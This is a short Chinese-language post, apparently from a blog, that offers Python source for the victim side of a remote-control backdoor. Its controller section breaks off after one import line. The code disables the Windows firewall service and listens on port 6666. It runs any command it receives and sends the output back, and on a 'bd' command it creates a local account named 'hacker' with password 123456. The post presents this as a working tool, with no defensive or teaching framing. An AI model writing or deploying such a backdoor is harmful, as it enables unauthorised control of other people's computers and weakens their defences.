没的废话,直接上代码!
被控制端:
import os
import socket
os.popen('net stop mpssvc')
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = 'USER-20180705UV'
port = 6666
s.bind((host,port))
s.listen(5)
while True:
print('lodding...\n\n')
c,addr = s.accept()
while True:
try:
client_date = str(c.recv(1024),'utf8')
if client_date == 'quit':
c.close()
break
except Exception:
break
if client_date == 'bd':
os.popen('net user hacker 123456 /ADD')
re = 'BackDoor ADD Finish! ' + socket.gethostbyname(socket.gethostname())
c.send(bytes(re,'utf8'))
else:
r = os.popen(client_date).read()
c.send(bytes(r,'utf8'))
控制端:
import socket